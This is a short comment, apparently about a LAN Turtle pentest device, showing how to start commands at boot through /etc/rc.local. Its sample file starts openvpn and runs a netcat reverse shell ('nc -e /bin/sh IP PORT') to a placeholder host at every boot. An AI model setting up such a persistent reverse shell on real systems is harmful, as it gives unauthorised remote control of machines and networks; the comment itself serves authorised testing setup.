Thanks for the data, in case it helps you can achieve the same result by just editing /etc/rc.local and adding the commands you want to start on boot there. Note there is no service or systemctl on the turtle. So my /etc/rc.local looks like the following to start a nc reverse shell and a openvpn
/etc/init.d/openvpn start
#sh reverse shell
nc -e /bin/sh IP PORT
#Add your commands above this line
exit 0